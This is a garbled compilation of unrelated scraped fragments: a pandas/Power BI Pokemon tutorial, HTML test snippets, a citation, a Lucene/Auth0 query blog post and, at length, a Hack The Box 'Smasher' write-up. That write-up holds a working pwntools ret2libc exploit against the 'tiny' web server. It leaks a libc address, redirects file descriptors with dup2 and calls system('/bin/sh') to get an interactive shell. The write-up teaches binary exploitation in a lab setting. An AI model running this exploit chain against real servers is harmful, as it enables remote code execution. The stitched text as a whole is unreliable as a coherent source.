df = pandas.read_json('https://raw.githubusercontent.com/fanzeyi/Pokemon-DB/master/pokedex.json')
df['base'] = df['base'].apply(lambda x: json.dumps(x))
We can now right click on the base column and choose transform->JSON and then expand the selection:
Now we need to apply the same thing to type and duplicate the query:
import json
df = pandas.read_json('https://raw.githubusercontent.com/fanzeyi/Pokemon-DB/master/pokedex.json')
df['base'] = df['base'].apply(lambda x: json.dumps(x))
df['type'] = df['type'].apply(lambda x: json.dumps(x))
Now we duplicate the query, remove all the columns we don't need and finally we expand the column type to new lines:
Next step we need to import the translation of pokemon types, so we create a new query with this code:
import json
df = pandas.read_json('https://raw.githubusercontent.com/fanzeyi/Pokemon-DB/master/types.json')
We can now join the tables to add the english column to the dataset:
If we want to add more complex logics to our starting dataset we can apply KMeans clustering on the first query:
import json
from sklearn.cluster import KMeans
df = pd.read_json('https://raw.githubusercontent.com/fanzeyi/Pokemon-DB/master/pokedex.json')
df['HP'] = df['base'].apply(lambda x: json.loads(json.dumps(x))['HP'])
df['Attack'] = df['base'].apply(lambda x: json.loads(json.dumps(x))['Attack'])
df['Defense'] = df['base'].apply(lambda x: json.loads(json.dumps(x))['Defense'])
df['Sp.Atk'] = df['base'].apply(lambda x: json.loads(json.dumps(x))['Sp.Atk'])
df['Sp.Def'] = df['base'].apply(lambda x: json.loads(json.dumps(x))['Sp.Def'])
df['Speed'] = df['base'].apply(lambda x: json.loads(json.dumps(x))['Speed'])
train = df[['HP','Attack','Defense','Sp.Atk','Sp.Def','Speed']]
kmeans = KMeans(n_clusters=8, random_state=0).fit(train)
kmeans.labels_
df['Cluster'] = kmeans.labels_.tolist()
del train,df['HP'],df['Attack'] ,df['Defense'] ,df['Sp.Atk'] ,df['Sp.Def'] ,df['Speed']
df['base'] = df['base'].apply(lambda x: json.dumps(x))
df['type'] = df['type'].apply(lambda x: json.dumps(x))
Now we can build the report with our Python Dataset:
That's all for today.
Next time we are going to take a look at Power Bi Python Visualizations.


This is the biggest
Inside p tag
this is in the middle
check out my channel
First Name
Last Name
Fav Color
Angie
Moore
Green
Ordered List
first
second
unordered list
1st
2nd &
Pick a color
click


--- layout: paper title: Publications --- Fact Checking: Task definition and dataset construction, , ACL 2014 2014
@article{vlachos2014fact, journal={ACL 2014}, author={Vlachos, Andreas and Riedel, Sebastian}, title={Fact Checking: Task definition and dataset construction}, pages={18}, year={2014}, }


Links
root /
index.html
foo
bar
Hash links, #
root /
index.html
foo
bar
Hashbang links, #!
root /
index.html
foo
bar
Links with target
_blank
_parent
_self
_top
aa
bb
Click to check we're on same page
No content!
Router info
Browser info
Events
| Event |
Support |
Value |
Count |
| popstate |
|
|
|
| hashchange |
|
|
|
Browser variables available on start
| Variable |
Available |
Value |
| window.history |
|
| window.history.state |
|
|


Apache Lucene
Apache Lucene is a free and open-source information retrieval software library, originally written completely in Java by Doug Cutting. It is supported by the Apache Software Foundation and is released under the Apache Software License.
Common Uses and Features of Lucene
While suitable for any application that requires full text indexing and searching capability, Lucene has been widely recognized for its utility in the implementation of Internet search engines and local, single-site searching.
Lucene includes a feature to perform a fuzzy search based on edit distance.
Lucene has also been used to implement recommendation systems. For example, Lucene’s ‘MoreLikeThis’ Class can generate recommendations for similar documents. In a comparison of the term vector-based similarity approach of ‘MoreLikeThis’ with citation-based document similarity measures, such as Co-citation and Co-citation Proximity Analysis Lucene’s approach excelled at recommending documents with very similar structural characteristics and more narrow relatedness. In contrast, citation-based document similarity measures tended to be more suitable for recommending more broadly related documents, meaning citation-based approaches may be more suitable for generating serendipitous recommendations, as long as documents to be recommended contain in-text citations.
At the core of Lucene’s logical architecture is the idea of a document containing fields of text. This flexibility allows Lucene’s API (Application Programming Interface) to be independent of the file format. Text from PDFs, HTML, Microsoft Word, Mind Maps, and OpenDocument documents, as well as many others (except images), can all be indexed as long as their textual information can be extracted.
Lucene-based projects
Apache Nutch — provides web crawling and HTML parsing[citation needed]
Apache Solr — an enterprise search server.
Compass — the predecessor to Elasticsearch
CrateDB — open source, distributed SQL database built on Lucene
DocFetcher — a multiplatform desktop search application
Elasticsearch — an enterprise search server released in 2010.
Kinosearch — a search engine written in Perl and C and a loose port of Lucene. The Socialtext wiki software uses this search engine, and so does the MojoMojo wiki. It is also used by the Human Metabolome Database (HMDB) and the Toxin and Toxin-Target Database (T3DB).
Swiftype — an enterprise search startup based on Lucene.
Lucene Queries in Action
We will look at using lucene queries with Auth0 apis and we will use curl and bash to make rest calls.
Here is a bash script that gets API Token from Auth0 Management API and then uses user search api:
#! /usr/local/bin/bash
TOKEN=$(curl \
--silent \
--request POST \
--url "$PERSONAL_AUTH0_DOMAIN/oauth/token" \
--header 'content-type: application/x-www-form-urlencoded' \
--data "audience=$PERSONAL_AUTH0_AUDIENCE&grant_type=client_credentials&client_id=$PERSONAL_AUTH0_CLIENTID&client_secret=$PERSONAL_AUTH0_CLIENT_SECRET" \
| jq '.access_token' | sed 's/^"//g;s/"$//g')
curl --request GET \
--url "$PERSONAL_AUTH0_DOMAIN/api/v2/users?q=name:jean*&search_engine=v3" \
--header "authorization: Bearer $TOKEN"
Here we use a feature in Lucene Queries called: Wildcard matching
This lucene query will search the auth0 user search api for any user that has name starting with “jean”
Here is the request payload:
[
{
"name": "Jean-Marcel Belmont",
"picture": "https://pbs.twimg.com/profile_images/960991755108868097/HvHXkEYN_normal.jpg",
"description": "Golang Programmer, Rustlang Enthusiast, JavaScript and NodeJS Artisan, Reverse Engineering Noob, Published Author, Christian, Father, Engineer @FoodLogiq",
"lang": "en",
"location": "North Carolina, USA",
"screen_name": "jbelmont80",
"url": "https://t.co/GOLxaCPccZ",
"updated_at": "2019-01-19T1808.722Z",
"user_id": "twitter|2921946821",
"nickname": "Jean-Marcel Belmont",
"identities": [
{
"provider": "twitter",
"user_id": "2921946821",
"connection": "twitter",
"isSocial": true
}
],
"created_at": "2019-01-19T1808.722Z",
"last_login": "2019-01-19T1808.720Z",
"last_ip": "<IP_ADDRESS>",
"logins_count": 1
},
]
I left out some entries but you get the idea of what wildcard matching.
This is analogous to matching you would get with grep like this:
The next example lucene query uses keyword matching with the AND operator:
curl --request GET \
--url "$PERSONAL_AUTH0_DOMAIN/api/v2/users?q=name:jean*%20AND%20nickname:marcelbelmont&search_engine=v3" \
--header "authorization: Bearer $TOKEN"
I percent encoded the space with %20 but notice that the query is now:
?q=name:jean AND nickname:marcelbelmont&search_engine=v3
We can even group queries and use an OR operator with lucene syntax:
curl --request GET \
--url "$PERSONAL_AUTH0_DOMAIN/api/v2/users?%28q=name:jean*%20AND%20nickname:marcelbelmont%29%20OR%20nickname:Jean-Marcel%20Belmont&search_engine=v3" \
--header "authorization: Bearer $TOKEN"
Notice that in this query I percent encoded the left parenthesis “(” “%28” and right parenthesis “%29” and percent encoded spaces “ ” “%20”
Here is the query with no percent encoding:
?(q=name:jean* AND nickname:marcelbelmont) OR nickname:Jean-Marcel+Belmont&search_engine=v3
You can use range queries in lucene here is a possible auth0 query with ranges:
curl --request GET \
--url "$PERSONAL_AUTH0_DOMAIN/api/v2/users?q=last_login=%5B2018-03-06+TO+2019-01-19%5D&search_engine=v3" \
--header "authorization: Bearer $TOKEN"
Here is the query with no percent encoding:
?q=last_login=[2018-03-06 TO 2019-01-19]&search_engine=v3
There is a whole lot more that you can do with lucene query syntax which you can read at:
If you like this post then please follow me at jbelmont @ github and jbelmont80 @ twitter for more related type posts.
Feel free to leave a comment if you like.
Until Next Time :)


The website was developed with React, NodeJS, JSON, and MongoDB, and deployed by Heroku.
Developed APIs for database access, user management and admin control panel.
Proposed pre-project analysis and technical assessments and developed website with user-friendly interface and a variety of functionalities with Pokémon theme.


|
Table 1
|
Geometric properties of the web based on those measured for ... |
|
Table 2
|
Material properties of the orb web based on common MA silk p ... |
|
Table 3
|
Effects of humidity on the material properties of Argiope tr ... |
|
Table 4
|
Effects of temperature on the material properties of A. trif ... |


https://epi052.gitlab.io/notes-to-self/blog/2018-10-02-hack-the-box-smasher/
If you’re familiar with 32-bit binary exploitation, it may be surprising that we’re not targeting the instruction pointer, RIP (64-bit equivalent of EIP). We’re going to craft our exploit using Return-Oriented Programming (ROP). More specifically, we’re going to craft a ret2libc exploit.
When using ROP, the goal is to use existing instructions within the binary to perform desirable actions. Those pieces of existing code are known as rop gadgets. Each rop gadget will terminate in a ret instruction. Each ret instruction moves program control to a return address located on the top of the stack. Since we can control what code is placed at the top of the stack with our PoC, we can chain multiple rop gadgets together, because each gadget will move program execution to the start of the next gadget. Essentially, the top of the stack takes the place of our instruction pointer.
Ret2PLT: determining other addresses
Now that we know how many bytes it takes to reach the stack, we can start placing rop gadgets onto the stack to do our bidding. Our bidding in this case is to perform a Ret2PLT attack in order to leak a memory address from within libc. The question then becomes, which rop gadgets to we need? To answer that, we need to look at x86_64 bit calling conventions to understand the way forward.
x64 Assembly Calling Conventions
To pass parameters to a syscall, up to six registers may be used. They are shown below in the order in which they need to be populated. The syscall number itself is normally stored in rax, however we will just use the memory address of the syscall itself directly.
rdi rsi rdx rcx r8 r9
To actually perform a syscall, we need to populate some of these registers with the arguments we want to pass to the syscall.
The write Syscall
Having looked at calling conventions, let’s make a plan for what we need to put into the registers in order to make a successful call to write. Below, you can see the function definition of write and what we’ll attempt to put into rdi and rsi.
Locate write
To begin building our first ROP chain, we’ll get the address of the write syscall from the Procedure Linkage Table (PLT). The PLT is used to call external procedures/functions whose address isn’t known at the time of linking, and is left to be resolved by the dynamic linker at run time (recall that this binary is dynamically linked). The PLT is used in conjunction with the Global Offset Table (GOT) to implement dynamic linking. For more information on how dynamic libraries work in ELF files, please check out this fantastic post on the subject.
objdump -D tiny | grep write
objdump options used:
-D, --disassemble-all
disassemble the contents of all sections, not just those expected to contain instructions.
The results of objdump show that the PLT address of write is 400c50.
0000000000400c50 <write@plt>:
400c50: ff 25 e2 23 20 00 jmpq *0x2023e2(%rip) # 603038<EMAIL_ADDRESS>write will be the first value we place onto the stack (this will eventually make it the furthest from the top of the stack after the other registers are setup).
RDI Setup
We’ll start with finding a gadget for rdi. We’ll use the ropsearch command in peda to locate a gadget. The most direct gadget for getting a value into rdi is a pop rdi, so that’s what we’ll try for first.
gdb -q tiny
gdb-peda$ break main
gdb-peda$ run
gdb-peda$ peda ropsearch "pop rdi"
1
2
3
4
0x004011dd : (b'5fc3') pop rdi; ret
0x00401202 : (b'5fc3') pop rdi; ret
0x00401d36 : (b'5fc3') pop rdi; ret
0x00401ff3 : (b'5fc3') pop rdi; ret
Success! A pop instruction loads the value from the top of the stack to the location specified and then increments the stack pointer. In our case, we’re specifying rdi as the destination. Simply put, we’ll use this gadget to grab the value at the top of the stack and store it in rdi. Any of the gadgets returned will work, we’ll just use the first one though.
The value we want to pop from the stack into rdi is 0x4. When tiny is run locally, we see the message listen on port 9999, fd is 3 printed to the screen. fd in this case stands for file descriptor. Since we know that the server’s file descriptor at startup is 3, it’s a reasonable assumption that each request to the server increments the file descriptor by one.
Taking rdi and 0x4 into account, our stack will look like this:
TOP OF STACK
0x4011dd (pop rdi; ret)
0x4 (fd to write to)
0x400c50 (write address)
BOTTOM OF STACK
RSI Setup
Next up, we need to search for a gadget that will allow us to get a value into rsi.
gdb-peda$ peda ropsearch "pop rsi"
Searching for ROP gadget: 'pop rsi' in: binary ranges
0x004011db : (b'5e415fc3') pop rsi; pop r15; ret
0x00401200 : (b'5e415fc3') pop rsi; pop r15; ret
-------------8<-------------
Success again! We have a pop rsi. The interesting piece here is that our gadget will pull two values off the stack. The first value will go into rsi, the other will to into r15.
The value we want to load into rsi is the address of a syscall from the Global Offset Table (GOT). The Global Offset Table is a table of addresses stored in the data section of an ELF binary. It is used by the executed program to locate addresses that aren’t known at compile time (i.e. those that are dynamically linked). In our case we’ll use the read syscall from libc, whose address is located in the GOT, as our value for rsi.
We can locate the address of read the same way we found write.
objdump -D tiny | grep read
0000000000400cf0 <read@plt>:
400cf0: ff 25 92 23 20 00 jmpq *0x202392(%rip) # 603088<EMAIL_ADDRESS>With address in hand, we can take another look at our stack.
TOP OF STACK
0x4011db (pop rsi; pop r15; ret)
0x603088 (read@GLIBC from GOT)
0xDEADBEEF (garbage for r15)
0x4011dd (pop rdi; ret)
0x4 (fd to write to)
0x400c50 (write address)
BOTTOM OF STACK
Memory Leak Payload
It’s time to go back to our PoC and alter the payload to hopefully see the memory address of read returned to us from tiny. However, instead of altering our original PoC, we’re going to use pwntools for the rest of the exploit. It has a lot of built-in functionality to make our lives easier.
=============================================================
import urllib
from pwn import *
context.bits = 64
context.arch = 'amd64'
context.endian = 'little'
context.log_level = 'debug' # increase verbosity!
host = '<IP_ADDRESS>'
port = 9999
pop_rsi = p64(0x4011db)
read_got = p64(0x603088)
r15_junk = p64(0xdeadbeef)
pop_rdi = p64(0x4011dd)
file_descriptor = p64(0x4)
write_plt = p64(0x400c50)
client = remote(host, port)
# distance to the stack
payload = 'A' * 568
# our ROP chain as discussed above
payload += pop_rsi
payload += read_got
payload += r15_junk
payload += pop_rdi
payload += file_descriptor
payload += write_plt
url = """GET /{} HTTP/1.1\r\nHost: smasher.htb\r\n\r\n""".format(urllib.quote(payload))
client.send(url)
response = client.recvall()
=============================================================
There’s not a whole lot introduced in the script that hasn’t been discussed already. The p64() function is just converting our memory addresses into little-endian 64-bit values for use in our ROP chain.
The other primay change is is that we’re using urllib.quote to encode our payload so that it plays nicely within the context of an HTTP request.
Ret2libc
Now that we have an address into libc, the randomised (ASLR) libc base address can be calculated. Once we know what the base address is, the address of any function in libc can be calculated by its offset and used in our next ROP chain. We’ll leverage that to execute the system syscall, which is a part of libc. Additionally, for this ROP chain, we’re going to harness the power of pwntools to show how some of our earlier manual steps can be simplified.
Calculate libc Base Address
Let’s begin by grabbing the target’s version of libc, since that is what the tiny web server on smasher will be using when we throw our exploit.
wget http://<IP_ADDRESS>:1111//lib/x86_64-linux-gnu/libc.so.6 -O targets-libc
Now we can start piecing together what we need to get libc’s base address for use in calculating offsets. Let’s grab the address of read from within libc (not to be confused with the address of read from within tiny, which is what we just leaked above).
readelf -s targets-libc | grep read
-------------8<-------------
891:<PHONE_NUMBER>0f7250 90 FUNC WEAK DEFAULT 13 read@@GLIBC_2.2.5
readelf options used:
-s, --symbols, --syms
Displays the entries in symbol table section of the file, if it has one.
We’ll use that address to calculate the base address of libc.
...
client.close() # tear down leak connection
libc_read = 0x0f7250
# gets offset that will be constant for all other libc functions
offset = read_address - libc_read
log.info("base libc address is: {}".format(hex(offset)))
...
Finding libc Functions
Next, we need to determine the address of a few functions we’re interested in as well as the string /bin/sh. As seen earlier, we’ll be using the target’s libc to find these addresses. First up, we’ll check out a manual way to get those addresses.
-------------8<-------------
readelf -s targets-libc | grep system
1351:<PHONE_NUMBER>045390 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5
-------------8<-------------
readelf -s targets-libc | grep dup2
962:<PHONE_NUMBER>0f7970 33 FUNC WEAK DEFAULT 13 dup2@@GLIBC_2.2.5
-------------8<-------------
strings -t x targets-libc | grep /bin/sh
18cd57 /bin/sh
strings options used:
-t radix
Print the offset within the file before each string. The single character argument
specifies the radix of the offset
o for octal
x for hexadecimal
d for decimal
We can get the same results with the following code using pwntools’ ELF class. However, in order to make the addresses usable, we need to update the libc variable’s base address to be that of our calculated offset. Doing this allows us to seamlessly use all of the addresses we pull out of the targets-libc later in our code.
NOTE: Special thanks to the awesome @elkement are in order for pointing out that I forgot to include this small but crucial detail in the write-up!
Having set the base address in the libc variable, future uses of the addresses will be equivalent to offset + address.
...
libc = ELF('./targets-libc')
libc.address = offset
libc_read = libc.sym.read # 0x0f7250
libc_system = libc.sym.system # 0x045390
libc_dup2 = libc.sym.dup2 # 0x0f7970
libc_binsh = next(libc.search("/bin/sh")) # 0x18cd57
...
ROP Chain #2
It’s time to build out another ROP chain. Here’s where the magic of pwntools really ramps up.
Calling dup2
Executing /bin/sh won’t do us much good if our file descriptors don’t send and receive data. We can use dup2 to get our file descriptors situated.
Here is the prototype for dup2. The dup2() system call creates a copy of the file descriptor oldfd using the file descriptor number specified in newfd as its target.
int dup2(int oldfd, int newfd);
We’re going to lean on the pwntools ROP class and some of its methods to easily setup our dup2 calls.
...
tiny = ELF('./tiny')
rop = ROP(tiny)
rop.call(libc_dup2, [0x4, 0x0]) # STDIN
rop.call(libc_dup2, [0x4, 0x1]) # STDOUT
rop.call(libc_dup2, [0x4, 0x2]) # STDERR
...
That’s it! A quote from the docs enlightens us a little bit as to what’s going on, but essentially, the act of setting up our own ROP chain is abstracted away. Each rop.call takes the function we want to call and the arguments we want to pass to that function.
For amd64 binaries, the registers are loaded off the stack. Pwntools can do basic reasoning about simple “pop; pop; add; ret”-style gadgets, and satisfy requirements so that everything “just works”.
Calling system
For reference, here is the system syscall prototype. The system() syscall uses fork to create a child process that executes the shell command specified in command using execl.
int system(const char *command);
Let’s magic ourselves up the rest of our ROP chain.
rop.call(libc_system, [libc_binsh])
Final Payload
To finish things out, we’ll use pwntools’ fit function. fit is inserting our final ROP chain at the offset 568, ezpz.
...
payload = fit({568: rop.chain()})
url = """GET /{} HTTP/1.1\r\nHost: secnotes.htb\r\n\r\n""".format(urllib.quote(payload))
client = remote(host, port)
client.send(url)
client.recvuntil("File not found")
client.interactive()
client.close()
...